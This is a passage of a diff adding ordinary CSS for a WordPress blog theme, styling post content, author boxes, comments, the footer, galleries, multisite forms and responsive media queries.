+.page-content h5,
+.page-content h6,
+.comment-content h5,
+.comment-content h6 {
+	letter-spacing: 0.1em;
+	text-transform: uppercase;
+}
+
+.entry-content > h1:first-child,
+.entry-content > h2:first-child,
+.entry-content > h3:first-child,
+.entry-content > h4:first-child,
+.entry-content > h5:first-child,
+.entry-content > h6:first-child,
+.entry-summary > h1:first-child,
+.entry-summary > h2:first-child,
+.entry-summary > h3:first-child,
+.entry-summary > h4:first-child,
+.entry-summary > h5:first-child,
+.entry-summary > h6:first-child,
+.page-content > h1:first-child,
+.page-content > h2:first-child,
+.page-content > h3:first-child,
+.page-content > h4:first-child,
+.page-content > h5:first-child,
+.page-content > h6:first-child,
+.comment-content > h1:first-child,
+.comment-content > h2:first-child,
+.comment-content > h3:first-child,
+.comment-content > h4:first-child,
+.comment-content > h5:first-child,
+.comment-content > h6:first-child {
+	margin-top: 0;
+}
+
+.entry-content a,
+.entry-summary a,
+.page-content a,
+.comment-content a,
+.pingback .comment-body > a {
+	border-bottom: 1px solid #333;
+}
+
+.entry-content a:hover,
+.entry-content a:focus,
+.entry-summary a:hover,
+.entry-summary a:focus,
+.page-content a:hover,
+.page-content a:focus,
+.comment-content a:hover,
+.comment-content a:focus,
+.pingback .comment-body > a:hover,
+.pingback .comment-body > a:focus {
+	border-bottom: 0;
+}
+
+.entry-content a img,
+.entry-summary a img,
+.page-content a img,
+.comment-content a img {
+	display: block;
+}
+
+.entry-content .more-link,
+.entry-summary .more-link:after {
+	white-space: nowrap;
+}
+
+.entry-content .more-link:after,
+.entry-summary .more-link:after {
+	content: "\f429";
+	font-size: 16px;
+	position: relative;
+	top: 5px;
+}
+
+.author-info {
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	margin: 0 7.6923%;
+	padding: 7.6923% 0;
+}
+
+.author-info .avatar {
+	float: left;
+	height: 36px;
+	margin: 0 1.6em 1.6em 0;
+	width: 36px;
+}
+
+.author-heading {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	letter-spacing: 0.04em;
+	margin-bottom: 1.5em;
+	text-transform: uppercase;
+}
+
+.author-title {
+	clear: none;
+}
+
+.author-bio {
+	font-size: 12px;
+	font-size: 1.2rem;
+	line-height: 1.5;
+	overflow: hidden;
+	padding-bottom: 1px;
+}
+
+.author-description {
+	-webkit-hyphens: auto;
+	-moz-hyphens: auto;
+	-ms-hyphens: auto;
+	hyphens: auto;
+	word-wrap: break-word;
+}
+
+.author-description a {
+	border-bottom: 1px solid #333;
+}
+
+.author-description a:hover,
+.author-description a:focus {
+	border-bottom: 0;
+}
+
+.author-description > :last-child {
+	margin-bottom: 0;
+}
+
+.author-link {
+	white-space: nowrap;
+}
+
+.author-link:after {
+	content: "\f429";
+	position: relative;
+	top: 1px;
+}
+
+.entry-footer {
+	background-color: #f7f7f7;
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	line-height: 1.5;
+	padding: 3.8461% 7.6923%;
+}
+
+.entry-footer a {
+	border-bottom: 1px solid transparent;
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+}
+
+.entry-footer a:hover {
+	border-bottom: 1px solid #333;
+}
+
+.entry-footer a:hover,
+.entry-footer a:focus {
+	color: #333;
+}
+
+.sticky-post {
+	background-color: #333;
+	color: #fff;
+	font-weight: 700;
+	letter-spacing: 0.04em;
+	padding: 0.25em 0.5em;
+	position: absolute;
+	top: 0;
+	text-transform: uppercase;
+}
+
+.updated:not(.published) {
+	display: none;
+}
+
+.sticky .posted-on {
+	display: none;
+}
+
+.posted-on:before,
+.byline:before,
+.cat-links:before,
+.tags-links:before,
+.comments-link:before,
+.entry-format:before,
+.edit-link:before,
+.full-size-link:before {
+	margin-right: 2px;
+	position: relative;
+}
+
+.posted-on,
+.byline,
+.cat-links,
+.tags-links,
+.comments-link,
+.entry-format,
+.full-size-link {
+	margin-right: 1em;
+}
+
+.format-aside .entry-format:before {
+	content: "\f101";
+}
+
+.format-image .entry-format:before {
+	content: "\f473";
+}
+
+.format-gallery .entry-format:before {
+	content: "\f103";
+}
+
+.format-video .entry-format:before {
+	content: "\f104";
+}
+
+.format-status .entry-format:before {
+	content: "\f105";
+}
+
+.format-quote .entry-format:before {
+	content: "\f106";
+}
+
+.format-link .entry-format:before {
+	content: "\f107";
+}
+
+.format-chat .entry-format:before {
+	content: "\f108";
+}
+
+.format-audio .entry-format:before {
+	content: "\f109";
+}
+
+.posted-on:before {
+	content: "\f307";
+}
+
+.byline:before {
+	content: "\f304";
+}
+
+.cat-links:before {
+	content: "\f301";
+}
+
+.tags-links:before {
+	content: "\f302";
+}
+
+.comments-link:before {
+	content: "\f300";
+}
+
+.full-size-link:before {
+	content: "\f402";
+}
+
+.edit-link:before {
+	content: "\f411";
+}
+
+.comments-link,
+.edit-link {
+	white-space: nowrap;
+}
+
+.page-header {
+	background-color: #fff;
+	border-bottom: 1px solid rgba(51, 51, 51, 0.1);
+	padding: 7.6923%;
+}
+
+.page-title {
+	font-family: "Noto Serif", serif;
+	font-size: 18px;
+	font-size: 1.8rem;
+	line-height: 1.3333;
+}
+
+.taxonomy-description {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	padding-top: 0.4em;
+}
+
+.taxonomy-description a {
+	border-bottom: 1px solid #333;
+}
+
+.taxonomy-description a:hover,
+.taxonomy-description a:focus {
+	border-bottom: 0;
+}
+
+.taxonomy-description > :last-child {
+	margin-bottom: 0;
+}
+
+.page-content {
+	background-color: #fff;
+	padding: 7.6923%;
+}
+
+.page-content > :last-child {
+	margin-bottom: 0;
+}
+
+.page-links {
+	clear: both;
+	font-family: "Noto Sans", sans-serif;
+	margin-bottom: 1.3333em;
+}
+
+.page-links a,
+.page-links > span {
+	border: 1px solid #eaeaea;
+	border: 1px solid rgba(51, 51, 51, 0.1);
+	display: inline-block;
+	font-size: 12px;
+	font-size: 1.2rem;
+	height: 2em;
+	line-height: 2;
+	margin: 0 0.3333em 0.3333em 0;
+	text-align: center;
+	width: 2em;
+}
+
+.page-links a {
+	-webkit-tap-highlight-color: rgba(255, 255, 255, 0.3);
+	background-color: #333;
+	border-color: #333;
+	color: #fff;
+}
+
+.page-links a:hover,
+.page-links a:focus {
+	background-color: #707070;
+	background-color: rgba(51, 51, 51, 0.7);
+	border-color: transparent;
+	color: #fff;
+}
+
+.page-links > .page-links-title {
+	border: 0;
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	height: auto;
+	margin: 0;
+	padding-right: 0.5em;
+	width: auto;
+}
+
+.entry-attachment {
+	margin-bottom: 1.6em;
+}
+
+.type-attachment .entry-title {
+	-webkit-hyphens: auto;
+	-moz-hyphens: auto;
+	-ms-hyphens: auto;
+	hyphens: auto;
+	word-wrap: break-word;
+}
+
+.entry-caption {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	-webkit-hyphens: auto;
+	-moz-hyphens: auto;
+	-ms-hyphens: auto;
+	hyphens: auto;
+	line-height: 1.5;
+	padding-top: 0.5em;
+	word-wrap: break-word;
+}
+
+.entry-caption > :last-child {
+	margin-bottom: 0;
+}
+
+
+/**
+ * 12.2 Post Formats
+ */
+
+.format-aside .entry-title,
+.format-image .entry-title,
+.format-video .entry-title,
+.format-quote .entry-title,
+.format-gallery .entry-title,
+.format-status .entry-title,
+.format-link .entry-title,
+.format-audio .entry-title,
+.format-chat .entry-title {
+	font-size: 18px;
+	font-size: 1.8rem;
+	line-height: 1.3333;
+	margin-bottom: 1.3333em;
+}
+
+.format-link .entry-title a:after {
+	content: "\f442";
+	font-size: 24px;
+	height: 24px;
+	position: relative;
+	top: 0;
+	width: 24px;
+}
+
+.blog .format-status .entry-title,
+.archive .format-status .entry-title {
+	display: none;
+}
+
+
+/**
+ * 12.3 Comments
+ */
+
+.comments-area {
+	background-color: #fff;
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	padding: 7.6923%;
+}
+
+.comments-area > :last-child {
+	margin-bottom: 0;
+}
+
+.comment-list + .comment-respond {
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+}
+
+.comment-list + .comment-respond,
+.comment-navigation + .comment-respond {
+	padding-top: 1.6em;
+}
+
+.comments-title,
+.comment-reply-title {
+	font-family: "Noto Serif", serif;
+	font-size: 18px;
+	font-size: 1.8rem;
+	line-height: 1.3333;
+}
+
+.comments-title {
+	margin-bottom: 1.3333em;
+}
+
+.comment-list {
+	list-style: none;
+	margin: 0;
+}
+
+.comment-list article,
+.comment-list .pingback,
+.comment-list .trackback {
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	padding: 1.6em 0;
+}
+
+.comment-list .children {
+	list-style: none;
+	margin: 0;
+}
+
+.comment-list .children > li {
+	padding-left: 0.8em;
+}
+
+.comment-author {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	margin-bottom: 0.4em;
+}
+
+.comment-author a:hover {
+	border-bottom: 1px solid #707070;
+	border-bottom: 1px solid rgba(51, 51, 51, 0.7);
+}
+
+.comment-author .avatar {
+	float: left;
+	height: 24px;
+	margin-right: 0.8em;
+	width: 24px;
+}
+
+.bypostauthor > article .fn:after {
+	content: "\f304";
+	position: relative;
+	top: 5px;
+	left: 3px;
+}
+
+.comment-metadata,
+.pingback .edit-link {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	line-height: 1.5;
+}
+
+.comment-metadata a,
+.pingback .edit-link a {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+}
+
+.comment-metadata a:hover,
+.pingback .edit-link a:hover {
+	border-bottom: 1px solid #333;
+}
+
+.comment-metadata a:hover,
+.comment-metadata a:focus,
+.pingback .edit-link a:hover,
+.pingback .edit-link a:focus {
+	color: #333;
+}
+
+.comment-metadata {
+	margin-bottom: 1.6em;
+}
+
+.comment-metadata .edit-link {
+	margin-left: 1em;
+}
+
+.pingback .edit-link {
+	margin-left: 1em;
+}
+
+.pingback .edit-link:before {
+	top: 5px;
+}
+
+.comment-content ul,
+.comment-content ol {
+	margin: 0 0 1.6em 1.3333em;
+}
+
+.comment-content li > ul,
+.comment-content li > ol {
+	margin-bottom: 0;
+}
+
+.comment-content > :last-child {
+	margin-bottom: 0;
+}
+
+.comment-list .reply {
+	font-size: 12px;
+	font-size: 1.2rem;
+}
+
+.comment-list .reply a {
+	border: 1px solid #eaeaea;
+	border: 1px solid rgba(51, 51, 51, 0.1);
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	display: inline-block;
+	font-family: "Noto Sans", sans-serif;
+	font-weight: 700;
+	line-height: 1;
+	margin-top: 2em;
+	padding: 0.4167em 0.8333em;
+	text-transform: uppercase;
+}
+
+.comment-list .reply a:hover,
+.comment-list .reply a:focus {
+	border-color: #333;
+	color: #333;
+	outline: 0;
+}
+
+.comment-form {
+	padding-top: 1.6em;
+}
+
+.comment-form label {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	font-weight: 700;
+	display: block;
+	letter-spacing: 0.04em;
+	line-height: 1.5;
+	text-transform: uppercase;
+}
+
+.comment-form input[type="text"],
+.comment-form input[type="email"],
+.comment-form input[type="url"],
+.comment-form input[type="submit"] {
+	width: 100%;
+}
+
+.comment-notes,
+.comment-awaiting-moderation,
+.logged-in-as,
+.form-allowed-tags {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	line-height: 1.5;
+	margin-bottom: 2em;
+}
+
+.logged-in-as a:hover {
+	border-bottom: 1px solid #333;
+}
+
+.no-comments {
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+	font-weight: 700;
+	padding-top: 1.6em;
+}
+
+.comment-navigation + .no-comments {
+	border-top: 0;
+}
+
+.form-allowed-tags code {
+	font-family: Inconsolata, monospace;
+}
+
+.form-submit {
+	margin-bottom: 0;
+}
+
+.required {
+	color: #c0392b;
+}
+
+.comment-reply-title small {
+	font-size: 100%;
+}
+
+.comment-reply-title small a {
+	border: 0;
+	float: right;
+	height: 32px;
+	overflow: hidden;
+	width: 26px;
+}
+
+.comment-reply-title small a:before {
+	content: "\f405";
+	font-size: 32px;
+	position: relative;
+	top: -3px;
+}
+
+.comment-form #wp-comment-cookies-consent {
+	margin: 0 10px 0 0;
+}
+
+.comment-form .comment-form-cookies-consent label {
+	display: inline;
+	font-size: 12px;
+	font-size: 1.2rem;
+	font-weight: normal;
+	letter-spacing: 0;
+	text-transform: none;
+}
+
+/**
+ * 13.0 Footer
+ */
+
+.site-info {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-size: 12px;
+	font-size: 1.2rem;
+	line-height: 1.5;
+}
+
+.site-info a {
+	border-bottom: 1px solid transparent;
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+}
+
+.site-info a:hover {
+	border-bottom: 1px solid #333;
+}
+
+.site-info a:hover,
+.site-info a:focus {
+	color: #333;
+}
+
+.site-info span[role=separator] {
+	padding: 0 0.25em 0 0.5em;
+}
+
+.site-info span[role=separator]::before {
+	content: '\002f';
+}
+
+/**
+ * 14.0 Media
+ */
+
+.site .avatar {
+	border-radius: 50%;
+}
+
+.page-content img.wp-smiley,
+.entry-content img.wp-smiley,
+.comment-content img.wp-smiley {
+	border: none;
+	margin-top: 0;
+	margin-bottom: 0;
+	padding: 0;
+}
+
+audio,
+canvas {
+	display: inline-block;
+}
+
+embed,
+iframe,
+object,
+video {
+	margin-bottom: 1.6em;
+	max-width: 100%;
+	vertical-align: middle;
+}
+
+p > embed,
+p > iframe,
+p > object,
+p > video {
+	margin-bottom: 0;
+}
+
+.wp-audio-shortcode,
+.wp-video,
+.wp-playlist.wp-audio-playlist {
+	font-size: 15px;
+	font-size: 1.5rem;
+	margin-top: 0;
+	margin-bottom: 1.6em;
+}
+
+.wp-playlist.wp-playlist {
+	padding-bottom: 0;
+}
+
+.wp-playlist .wp-playlist-tracks {
+	margin-top: 0;
+}
+
+.wp-playlist-item .wp-playlist-caption {
+	border-bottom: 0;
+	padding: 10px 0;
+}
+
+.wp-playlist-item .wp-playlist-item-length {
+	top: 10px;
+}
+
+
+/**
+ * 14.1 Captions
+ */
+
+.wp-caption {
+	margin-bottom: 1.6em;
+	max-width: 100%;
+}
+
+.wp-caption img[class*="wp-image-"] {
+	display: block;
+	margin: 0;
+}
+
+.wp-caption-text {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	line-height: 1.5;
+	padding: 0.5em 0;
+}
+
+
+/**
+ * 14.2 Galleries
+ */
+
+.gallery {
+	margin-bottom: 1.6em;
+}
+
+.gallery-item {
+	display: inline-block;
+	padding: 1.79104477%;
+	text-align: center;
+	vertical-align: top;
+	width: 100%;
+}
+
+.gallery-columns-2 .gallery-item {
+	max-width: 50%;
+}
+
+.gallery-columns-3 .gallery-item {
+	max-width: 33.33%;
+}
+
+.gallery-columns-4 .gallery-item {
+	max-width: 25%;
+}
+
+.gallery-columns-5 .gallery-item {
+	max-width: 20%;
+}
+
+.gallery-columns-6 .gallery-item {
+	max-width: 16.66%;
+}
+
+.gallery-columns-7 .gallery-item {
+	max-width: 14.28%;
+}
+
+.gallery-columns-8 .gallery-item {
+	max-width: 12.5%;
+}
+
+.gallery-columns-9 .gallery-item {
+	max-width: 11.11%;
+}
+
+.gallery-icon img {
+	margin: 0 auto;
+}
+
+.gallery-caption {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	display: block;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	line-height: 1.5;
+	padding: 0.5em 0;
+}
+
+.gallery-columns-6 .gallery-caption,
+.gallery-columns-7 .gallery-caption,
+.gallery-columns-8 .gallery-caption,
+.gallery-columns-9 .gallery-caption {
+	display: none;
+}
+
+
+/**
+ * 15.0 Multisite
+ */
+
+.widecolumn {
+	background-color: #fff;
+	padding: 7.6923%;
+}
+
+.widecolumn .mu_register {
+	width: auto;
+}
+
+.widecolumn .mu_alert {
+	margin-bottom: 1.6em;
+}
+
+.widecolumn form,
+.widecolumn .mu_register form {
+	margin-top: 0;
+}
+
+.widecolumn h2 {
+	font-size: 26px;
+	font-size: 2.6rem;
+	line-height: 1.1538;
+	margin-bottom: 0.9231em;
+}
+
+.widecolumn p {
+	margin: 1.6em 0;
+}
+
+.widecolumn p + h2 {
+	margin-top: 1.8462em;
+}
+
+.widecolumn label,
+.widecolumn .mu_register label {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	font-weight: 700;
+	letter-spacing: 0.04em;
+	line-height: 1.5;
+	text-transform: uppercase;
+}
+
+.widecolumn .mu_register label {
+	margin: 2em 0 0;
+}
+
+.widecolumn #key,
+.widecolumn .mu_register #blog_title,
+.widecolumn .mu_register #user_email,
+.widecolumn .mu_register #blogname,
+.widecolumn .mu_register #user_name {
+	font-size: 16px;
+	font-size: 1.6rem;
+	width: 100%;
+}
+
+.widecolumn .mu_register #blogname {
+	margin: 0;
+}
+
+.widecolumn .mu_register #blog_title,
+.widecolumn .mu_register #user_email,
+.widecolumn .mu_register #user_name {
+	margin: 0 0 0.375em;
+}
+
+.widecolumn #submit,
+.widecolumn .mu_register input[type="submit"] {
+	font-size: 12px;
+	font-size: 1.2rem;
+	margin: 0;
+	width: 100%;
+}
+
+.widecolumn .mu_register .prefix_address,
+.widecolumn .mu_register .suffix_address {
+	font-size: inherit;
+}
+
+.widecolumn .mu_register > :last-child,
+.widecolumn form > :last-child {
+	margin-bottom: 0;
+}
+
+
+/**
+ * 16.0 Media Queries
+ */
+
+/*
+ * Does the same thing as <meta name="viewport" content="width=device-width">,
+ * but in the future W3C standard way. -ms- prefix is required for IE10+ to
+ * render responsive styling in Windows 8 "snapped" views; IE10+ does not honor
+ * the meta tag. See https://core.trac.wordpress.org/ticket/25888.
+ */
+@-ms-viewport {
+	width: device-width;
+}
+
+@viewport {
+	width: device-width;
+}
+
+/**
+ * 16.1 Mobile Large 620px
+ */
+
+@media screen and (min-width: 38.75em) {
+	ul,
+	ol {
+		margin-left: 0;
+	}
+
+	li > ul,
+	li > ol,
+	blockquote > ul,
+	blockquote > ol {
+		margin-left: 1.3333em;
+	}
+
+	blockquote {
+		margin-left: -1em;
+	}
+
+	blockquote > blockquote {
+		margin-left: 0;
+	}
+
+	.site-branding {
+		min-height: 3.2em;
+	}
+
+	.site-title {
+		font-size: 22px;
+		font-size: 2.2rem;
+		line-height: 1.0909;
+	}
+
+	.site-description {
+		display: block;
+	}
+
+	.secondary {
+		box-shadow: 0 0 1px rgba(0, 0, 0, 0.15);
+		margin: 7.6923% 7.6923% 0;
+		padding: 7.6923% 7.6923% 0;
+	}
+
+	.main-navigation {
+		margin-bottom: 11.1111%;
+	}
+
+	.main-navigation ul {
+		border-top: 1px solid rgba(51, 51, 51, 0.1);
+		border-bottom: 1px solid rgba(51, 51, 51, 0.1);
+	}
+
+	.main-navigation ul ul {
+		border-top: 0;
+		border-bottom: 0;
+	}
+
+	.social-navigation {
+		margin-bottom: 11.1111%;
+	}
+
+	.social-navigation {
+		margin-top: 0;
+	}
+
+	.widget-area {
+		margin-top: 0;
+	}
+
+	.widget {
+		margin-bottom: 11.1111%;
+	}
+
+	.site-main {
+		padding: 7.6923% 0;
+	}
+
+	.hentry.sticky:not(.has-post-thumbnail) {
+		padding-top: inherit;
+	}
+
+	.hentry,
+	.page-header,
+	.page-content {
+		box-shadow: 0 0 1px rgba(0, 0, 0, 0.15);
+		margin: 0 7.6923%;
+	}
+
+	.hentry + .hentry,
+	.page-header + .hentry,
+	.page-header + .page-content {
+		margin-top: 7.6923%;
+	}
+
+	.hentry + .hentry {
+		border-top: 0;
+	}
+
+	.post-thumbnail {
+		margin-bottom: 2.4em;
+	}
+
+	.entry-header {
+		padding: 0 9.0909%;
+	}
+
+	.entry-content,
+	.entry-summary {
+		padding: 0 9.0909% 9.0909%;
+	}
+
+	.entry-footer {
+		padding: 4.5454% 9.0909%;
+	}
+
+	.page-header {
+		border-bottom: 0;
+		border-left: 7px solid #333;
+		padding: 3.8461% 7.6923%;
+	}
+
+	.page-title,
+	.taxonomy-description {
+		margin-left: -7px;
+	}
+
+	.page-content {
+		padding: 9.0909%;
+	}
+
+	.site-footer {
+		border-top: 0;
+		box-shadow: 0 0 1px rgba(0, 0, 0, 0.15);
+		margin: 0 7.6923%;
+		padding: 3.84615% 7.6923%;
+	}
+
+	.post-navigation {
+		border-top: 0;
+		box-shadow: 0 0 1px rgba(0, 0, 0, 0.15);
+		margin: 7.6923% 7.6923% 0;
+	}
+
+	.post-navigation a {
+		padding: 4.5454% 9.0909%;
+	}
+
+	.pagination {
+		border-top: 0;
+		box-shadow: 0 0 1px rgba(0, 0, 0, 0.15);
+		margin: 7.6923% 7.6923% 0;
+		padding: 0;
+	}
+
+	/* restore screen-reader-text */
+	.pagination .current .screen-reader-text {
+		position: absolute !important;
+	}
+
+	.pagination .page-numbers {
+		display: inline-block;
+	}
+
+	.image-navigation {
+		padding: 0 9.0909%;
+	}
+
+	.comments-area {
+		border-top: 0;
+		box-shadow: 0 0 1px rgba(0, 0, 0, 0.15);
+		margin: 7.6923% 7.6923% 0;
+	}
+
+	.comment-content ul,
+	.comment-content ol {
+		margin-left: 0;
+	}
+
+	.comment-content li > ul,
+	.comment-content li > ol,
+	.comment-content blockquote > ul,
+	.comment-content blockquote > ol {
+		margin-left: 1.3333em;
+	}
+
+	.widecolumn {
+		box-shadow: 0 0 1px rgba(0, 0, 0, 0.15);
+		margin: 7.6923%;
+	}
+}
+
+
+/**
+ * 16.2 Tablet Small 740px
+ */
+
+@media screen and (min-width: 46.25em) {
+	body,
+	button,
+	input,
+	select,
+	textarea {
+		font-size: 17px;
+		font-size: 1.7rem;
+		line-height: 1.6471;
+	}
+
+	button,
+	input {
+		line-height: normal;
+	}
+
+	p,
+	address,
+	pre,
+	hr,
+	ul,
+	ol,
+	dl,
+	dd,
+	table {
+		margin-bottom: 1.6471em;
+	}
+
+	blockquote {
+		font-size: 20px;
+		font-size: 2rem;
+		line-height: 1.75;
+		margin-bottom: 1.75em;
+		margin-left: -1.05em;
+		padding-left: 0.85em;
+	}
+
+	blockquote p {
+		margin-bottom: 1.75em;
+	}
+
+	blockquote cite,
+	blockquote small {
+		font-size: 17px;
+		font-size: 1.7rem;
+		line-height: 1.6471;
+	}
+
+	pre {
+		line-height: 1.2353;
+	}
+
+	button,
+	input[type="button"],
+	input[type="reset"],
+	input[type="submit"],
+	.post-password-form input[type="submit"],
+	.widecolumn #submit,
+	.widecolumn .mu_register input[type="submit"] {
+		font-size: 14px;
+		font-size: 1.4rem;
+		padding: 0.8214em 1.6429em;
+	}
+
+	input[type="text"],
+	input[type="email"],
+	input[type="url"],
+	input[type="password"],
+	input[type="search"],
+	textarea {
+		padding: 0.5em;
+	}
+
+	.main-navigation {
+		font-size: 14px;
+		font-size: 1.4rem;
+		line-height: 1.5;
+	}
+
+	.main-navigation a {
+		padding: 1em 0;
+	}
+
+	.main-navigation ul ul {
+		margin-left: 1em;
+	}
+
+	.main-navigation .menu-item-description {
+		font-size: 14px;
+		font-size: 1.4rem;
+		line-height: 1.5;
+	}
+
+	.social-navigation ul {
+		margin-bottom: -1.4706em;
+	}
+
+	.social-navigation a {
+		height: 2.8824em;
+		width: 2.8824em;
+	}
+
+	.secondary-toggle {
+		height: 56px;
+		width: 56px;
+	}
+
+	.secondary-toggle:before {
+		line-height: 54px;
+		width: 54px;
+	}
+
+	.post-password-form label,
+	.post-navigation .meta-nav,
+	.image-navigation,
+	.comment-navigation,
+	.author-heading,
+	.author-bio,
+	.entry-footer,
+	.page-links a,
+	.page-links span,
+	.comment-metadata,
+	.pingback .edit-link,
+	.comment-list .reply,
+	.comment-notes,
+	.comment-awaiting-moderation,
+	.logged-in-as,
+	.comment-form label,
+	.comment-form .comment-form-cookies-consent label,
+	.form-allowed-tags,
+	.site-info,
+	.wp-caption-text,
+	.gallery-caption,
+	.entry-caption,
+	.widecolumn label,
+	.widecolumn .mu_register label {
+		font-size: 14px;
+		font-size: 1.4rem;
+	}
+
+	.pagination .nav-links {
+		min-height: 3.2941em;
+	}
+
+	.pagination .page-numbers {
+		line-height: 3.2941em;
+		padding: 0 0.8235em;
+	}
+
+	.pagination .prev,
+	.pagination .next {
+		height: 56px;
+		padding: 0;
+		width: 56px;
+	}
+
+	.pagination .prev:before,
+	.pagination .next:before {
+		height: 56px;
+		line-height: 56px;
+		width: 56px;
+	}
+
+	.image-navigation .nav-previous a:before,
+	.image-navigation .nav-next a:after,
+	.comment-navigation .nav-previous a:before,
+	.comment-navigation .nav-next a:after {
+		top: 2px;
+	}
+
+	blockquote.alignleft,
+	.wp-caption.alignleft,
+	img.alignleft {
+		margin: 0.4118em 1.6471em 1.6471em 0;
+	}
+
+	blockquote.alignright,
+	.wp-caption.alignright,
+	img.alignright {
+		margin: 0.4118em 0 1.6471em 1.6471em;
+	}
+
+	blockquote.aligncenter,
+	.wp-caption.aligncenter,
+	img.aligncenter {
+		margin-top: 0.4118em;
+		margin-bottom: 1.6471em;
+	}
+
+	.wp-caption.alignleft,
+	.wp-caption.alignright,
+	.wp-caption.aligncenter {
+		margin-bottom: 1.2353em;
+	}
+
+	.site-branding {
+		min-height: 3.7059em;
+		padding-right: 66px;
+	}
+
+	.site-title {
+		font-size: 29px;
+		font-size: 2.9rem;
+		line-height: 1.2069;
+	}
+
+	.custom-logo {
+		max-height: 105px;
+	}
+
+	.wp-custom-logo .site-title {
+		margin-top: 0.482758621em;
+	}
+
+	.site-description {
+		font-size: 14px;
+		font-size: 1.4rem;
+	}
+
+	.widget {
+		font-size: 14px;
+		font-size: 1.4rem;
+		line-height: 1.5;
+	}
+
+	.widget p,
+	.widget address,
+	.widget hr,
+	.widget ul,
+	.widget ol,
+	.widget dl,
+	.widget dd,
+	.widget table,
+	.widget pre {
+		margin-bottom: 1.5em;
+	}
+
+	.widget li > ul,
+	.widget li > ol {
+		margin-bottom: 0;
+	}
+
+	.widget blockquote {
+		font-size: 17px;
+		font-size: 1.7rem;
+		line-height: 1.6471;
+		margin-bottom: 1.6471em;
+		margin-left: -1.2353em;
+		padding-left: 1em;
+	}
+
+	.widget blockquote p {
+		margin-bottom: 1.6471em;
+	}
+
+	.widget blockquote cite,
+	.widget blockquote small {
+		font-size: 14px;
+		font-size: 1.4rem;
+		line-height: 1.5;
+	}
+
+	.widget blockquote > blockquote {
+		margin-left: 0;
+	}
+
+	.widget pre {
+		line-height: 1.5;
+		padding: 0.75em;
+	}
+
+	.widget button,
+	.widget input,
+	.widget select,
+	.widget textarea {
+		line-height: 1.75;
+	}
+
+	.widget button,
+	.widget input {
+		line-height: normal;
+	}
+
+	.widget button,
+	.widget input[type="button"],
+	.widget input[type="reset"],
+	.widget input[type="submit"] {
+		font-size: 14px;
+		font-size: 1.4rem;
+		padding: 0.8214em 1.6429em;
+	}
+
+	.widget input[type="text"],
+	.widget input[type="email"],
+	.widget input[type="url"],
+	.widget input[type="password"],
+	.widget input[type="search"],
+	.widget textarea {
+		padding: 0.5625em;
+	}
+
+	.widget blockquote.alignleft,
+	.widget .wp-caption.alignleft,
+	.widget img.alignleft {
+		margin: 0.5em 1.5em 1.5em 0;
+	}
+
+	.widget blockquote.alignright,
+	.widget .wp-caption.alignright,
+	.widget img.alignright {
+		margin: 0.5em 0 1.5em 1.5em;
+	}
+
+	.widget blockquote.aligncenter,
+	.widget .wp-caption.aligncenter,
+	.widget img.aligncenter {
+		margin-top: 0.5em;
+		margin-bottom: 1.5em;
+	}
+
+	.widget .wp-caption.alignleft,
+	.widget .wp-caption.alignright,
+	.widget .wp-caption.aligncenter {
+		margin-bottom: 1em;
+	}
+
+	.widget-title {
+		margin: 0 0 1.5em;
+	}
+
+	.widget_calendar td,
+	.widget_calendar th {
+		line-height: 2.9286;
+	}
+
+	.widget_calendar caption {
+		margin: 0 0 1.5em;
+	}
+
+	.widget_archive li,
+	.widget_categories li,
+	.widget_links li,
+	.widget_meta li,
+	.widget_nav_menu li,
+	.widget_pages li,
+	.widget_recent_comments li,
+	.widget_recent_entries li {
+		padding: 0.9643em 0;
+	}
+
+	.widget_categories .children,
+	.widget_nav_menu .sub-menu,
+	.widget_pages .children {
+		margin: 0.9643em 0 0 1em;
+		padding-top: 0.9643em;
+	}
+
+	.widget_rss li {
+		margin-bottom: 1.5em;
+	}
+
+	.widget_rss .rss-date,
+	.widget_rss cite {
+		line-height: 1.75;
+	}
+
+	.post-thumbnail {
+		margin-bottom: 3em;
+	}
+
+	.entry-title,
+	.widecolumn h2 {
+		font-size: 35px;
+		font-size: 3.5rem;
+		line-height: 1.2;
+		margin-bottom: 1.2em;
+	}
+
+	.entry-content h1,
+	.entry-summary h1,
+	.page-content h1,
+	.comment-content h1 {
+		font-size: 35px;
